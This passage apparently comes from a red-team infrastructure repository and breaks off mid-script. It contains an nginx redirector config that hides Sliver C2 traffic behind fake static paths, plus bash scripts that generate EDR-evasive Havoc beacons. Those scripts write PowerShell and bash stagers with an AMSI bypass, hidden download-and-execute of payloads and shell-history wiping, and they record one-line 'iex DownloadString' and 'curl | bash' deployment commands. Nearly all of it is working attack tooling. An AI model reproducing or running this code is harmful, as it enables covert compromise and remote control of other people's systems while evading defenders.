||||
|
||||
# Root directory
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
# Primary location for legitimate website traffic
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Special URI patterns for C2 traffic
|
||||
# These will redirect to the actual C2 server
|
||||
|
||||
# Sliver HTTP C2 channel
|
||||
location /ajax/ {
|
||||
proxy_pass http://{{ c2_host }}:8888;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
}
|
||||
|
||||
# Static resources that actually redirect to C2
|
||||
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
|
||||
proxy_pass http://{{ c2_host }}:8888;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Additional security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
|
||||
|
||||
# Disable logging for this server block
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
|
||||
# Catch-all server block to respond to unknown hosts
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
listen 443 ssl default_server;
|
||||
listen [::]:443 ssl default_server;
|
||||
|
||||
# Self-signed cert for catch-all
|
||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||
|
||||
# Redirect all unknown traffic to a legitimate-looking site
|
||||
return 301 https://www.google.com;
|
||||
|
||||
# Disable logs
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
@@ -0,0 +1,456 @@
|
||||
#!/bin/bash
|
||||
# EDR-evasive beacon generator for Havoc C2
|
||||
# Every deployment produces completely unique payloads
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
BEACONS_DIR="/root/Tools/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $BEACONS_DIR/windows
|
||||
mkdir -p $BEACONS_DIR/linux
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Load Havoc configuration from profile
|
||||
if [ -f "$PROFILE_FILE" ]; then
|
||||
echo "[+] Loading Havoc configuration from profile..."
|
||||
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
|
||||
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
|
||||
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
|
||||
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
|
||||
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
|
||||
else
|
||||
echo "[!] Warning: Profile file not found, using default values"
|
||||
TEAMSERVER_PORT=40056
|
||||
ADMIN_USER="admin"
|
||||
ADMIN_PASS="admin"
|
||||
HTTP_PORT=8080
|
||||
HTTPS_PORT=443
|
||||
fi
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Anti-detection function to modify binary files
|
||||
modify_binary() {
|
||||
local input_file=$1
|
||||
|
||||
echo "[+] Applying anti-detection modifications to: $input_file"
|
||||
|
||||
# Create a temporary file
|
||||
local temp_file="${input_file}.tmp"
|
||||
cp "$input_file" "$temp_file"
|
||||
|
||||
# Modify the file based on its type
|
||||
if file "$input_file" | grep -q "PE32"; then
|
||||
# Windows EXE/DLL modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Modify PE header timestamps with random value
|
||||
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
|
||||
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
|
||||
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
|
||||
|
||||
# Try to strip debug information
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-debug "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
elif file "$input_file" | grep -q "ELF"; then
|
||||
# Linux ELF modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Try to strip all symbols
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-all "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
|
||||
# Replace original with modified version
|
||||
mv "$temp_file" "$input_file"
|
||||
|
||||
echo "[+] Binary modifications complete"
|
||||
}
|
||||
|
||||
# Create advanced Havoc payload profile with evasion techniques
|
||||
generate_profile() {
|
||||
local type=$1
|
||||
local profile_name="${type}_profile_$(random_string 8).json"
|
||||
|
||||
echo "[+] Creating evasive $type profile..."
|
||||
|
||||
# Generate random values for this profile
|
||||
local sleep_time=$(( RANDOM % 10 + 2 ))
|
||||
local jitter_percent=$(( RANDOM % 50 + 10 ))
|
||||
|
||||
if [ "$type" == "windows" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": $(( RANDOM % 3 )),
|
||||
"ExecutionMethod": $(( RANDOM % 3 )),
|
||||
"ExecuteOptions": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true,
|
||||
"SyscallMethod": $(( RANDOM % 3 )),
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
},
|
||||
"Binary": {
|
||||
"Subsystem": $(( RANDOM % 2 + 1 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
elif [ "$type" == "linux" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"Injection": {
|
||||
"SpawnMethod": $(( RANDOM % 2 )),
|
||||
"AllocationMethod": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
|
||||
echo "$profile_name"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with EDR evasion techniques
|
||||
generate_payloads() {
|
||||
echo "[+] Generating EDR-evasive Havoc beacons..."
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(generate_profile "windows")
|
||||
win_output="update_win_$(random_string 8).exe"
|
||||
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$win_profile" \
|
||||
--format exe \
|
||||
--output "$BEACONS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$win_output"
|
||||
fi
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(generate_profile "windows")
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$dll_profile" \
|
||||
--format dll \
|
||||
--output "$BEACONS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$dll_output"
|
||||
fi
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(generate_profile "linux")
|
||||
linux_output="update_linux_$(random_string 8)"
|
||||
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$linux_profile" \
|
||||
--format elf \
|
||||
--output "$BEACONS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/linux/$linux_output"
|
||||
fi
|
||||
|
||||
# Windows shellcode (staged payload)
|
||||
shellcode_profile=$(generate_profile "windows")
|
||||
shellcode_output="shellcode_$(random_string 8).bin"
|
||||
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$shellcode_profile" \
|
||||
--format shellcode \
|
||||
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload information
|
||||
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating evasive stagers..."
|
||||
|
||||
# Create PowerShell stager directory
|
||||
mkdir -p $BEACONS_DIR/stagers
|
||||
|
||||
# PowerShell stager with AMSI bypass and obfuscation
|
||||
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
|
||||
# PowerShell stager for Havoc C2 with AMSI bypass
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
|
||||
# AMSI Bypass
|
||||
function Bypass-AMSI {
|
||||
$a = [Ref].Assembly.GetTypes()
|
||||
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
|
||||
$d = $c.GetFields('NonPublic,Static')
|
||||
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
|
||||
$g = $f.GetValue($null)
|
||||
[IntPtr]$ptr = $g
|
||||
[Int32[]]$buf = @(0)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
||||
}
|
||||
|
||||
# Try to bypass AMSI
|
||||
try { Bypass-AMSI } catch {}
|
||||
|
||||
# Randomize variables for evasion
|
||||
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
|
||||
# Error handling with obfuscation
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
|
||||
|
||||
# Split URL to avoid detection
|
||||
$r1 = "https://"
|
||||
$r2 = "REDIRECTOR_HOST"
|
||||
$r3 = "/content/windows/WINDOWS_EXE"
|
||||
$url = $r1 + $r2 + $r3
|
||||
|
||||
# Download with jitter
|
||||
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
|
||||
# Start process with extra obfuscation
|
||||
$p = New-Object System.Diagnostics.Process
|
||||
$p.StartInfo.FileName = $outpath
|
||||
$p.StartInfo.WindowStyle = 'Hidden'
|
||||
$p.StartInfo.CreateNoWindow = $true
|
||||
$p.Start()
|
||||
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in PowerShell stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
|
||||
# Bash stager with obfuscation techniques
|
||||
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon with EDR evasion
|
||||
|
||||
# Function obfuscation
|
||||
function x() {
|
||||
command -v "$1" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
# Random temp filename
|
||||
r() {
|
||||
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
|
||||
}
|
||||
|
||||
# Randomize variables
|
||||
TMPVAR=$(r)
|
||||
TMPFILE="/tmp/.${TMPVAR}"
|
||||
|
||||
# Check which download tool is available
|
||||
if x curl; then
|
||||
# Split URL to avoid signature detection
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
curl -s -o "$TMPFILE" "$url"
|
||||
elif x wget; then
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
wget -q -O "$TMPFILE" "$url"
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Make executable and run in background
|
||||
chmod +x "$TMPFILE"
|
||||
# Add random sleep before execution
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
("$TMPFILE" > /dev/null 2>&1 &)
|
||||
|
||||
# Clean up command history if possible
|
||||
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
|
||||
history -c 2>/dev/null
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in Bash stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers created successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating manifest file..."
|
||||
cat > $BEACONS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"windows_shellcode": "$shellcode_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"havoc_teamserver_port": "$TEAMSERVER_PORT",
|
||||
"havoc_http_port": "$HTTP_PORT",
|
||||
"havoc_https_port": "$HTTPS_PORT",
|
||||
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||
}
|
||||
EOF
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating reference file..."
|
||||
cat > $BEACONS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
- Teamserver Port: $TEAMSERVER_PORT
|
||||
- Admin User: $ADMIN_USER
|
||||
- Admin Password: $ADMIN_PASS
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
|
||||
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
|
||||
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
|
||||
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
|
||||
|
||||
Deployment Commands:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
|
||||
Anti-Detection Features Enabled:
|
||||
- Binary signature randomization
|
||||
- PE/ELF header manipulation
|
||||
- Sleep mask obfuscation
|
||||
- AMSI bypass in stagers
|
||||
- EDR unhooking
|
||||
- Indirect syscalls
|
||||
- Random sleep/jitter timing
|
||||
EOF
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting EDR-evasive Havoc beacon generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest file
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference file
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] EDR-evasive beacon generation complete!"
|
||||
@@ -0,0 +1,260 @@
|
||||
#!/bin/bash
|
||||
# EDR-evasive payload generator for Havoc C2
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
TEAMSERVER_HOST="127.0.0.1"
|
||||
TEAMSERVER_PORT="40056"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $PAYLOADS_DIR/windows
|
||||
mkdir -p $PAYLOADS_DIR/linux
|
||||
mkdir -p $PAYLOADS_DIR/staged
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Define Havoc profiles for different payloads
|
||||
generate_profiles() {
|
||||
echo "[+] Generating Havoc C2 profiles..."
|
||||
|
||||
# Profile for Windows EXE
|
||||
cat > $PAYLOADS_DIR/win_exe.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": 0,
|
||||
"ExecutionMethod": 0,
|
||||
"ExecuteOptions": 0
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Profile for Linux ELF
|
||||
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"Injection": {
|
||||
"SpawnMethod": 1,
|
||||
"AllocationMethod": 1
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Profiles created successfully"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with CLI arguments
|
||||
generate_payloads() {
|
||||
echo "[+] Generating Havoc payloads..."
|
||||
|
||||
# Windows EXE
|
||||
win_output="agent_win_$(random_string 8).exe"
|
||||
echo "[+] Generating Windows payload: $win_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format exe \
|
||||
--output "$PAYLOADS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Windows DLL
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Generating Windows DLL: $dll_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format dll \
|
||||
--output "$PAYLOADS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Linux ELF
|
||||
linux_output="agent_linux_$(random_string 8)"
|
||||
echo "[+] Generating Linux payload: $linux_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/linux_elf.profile" \
|
||||
--format elf \
|
||||
--output "$PAYLOADS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload names for reference
|
||||
echo "$win_output:$dll_output:$linux_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating stagers..."
|
||||
|
||||
# PowerShell stager
|
||||
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
|
||||
# PowerShell stager for Havoc C2
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$ErrorActionPreference = 'SilentlyContinue'
|
||||
\$wc = New-Object System.Net.WebClient
|
||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
|
||||
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Bash stager
|
||||
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon
|
||||
|
||||
# Download binary to /tmp with random name
|
||||
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
|
||||
chmod +x \$TMPFILE
|
||||
|
||||
# Execute in background
|
||||
\$TMPFILE &
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers generated successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"generated_date": "$(date)"
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Manifest created successfully"
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Payloads Generated ($(date)):
|
||||
- Windows EXE: $win_output
|
||||
- Windows DLL: $dll_output
|
||||
- Linux Binary: $linux_output
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
Payload deployment:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
EOF
|
||||
|
||||
echo "[+] Reference file created successfully"
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting Havoc C2 payload generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Create stagers directory
|
||||
mkdir -p $PAYLOADS_DIR/stagers
|
||||
|
||||
# Generate profiles
|
||||
generate_profiles
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
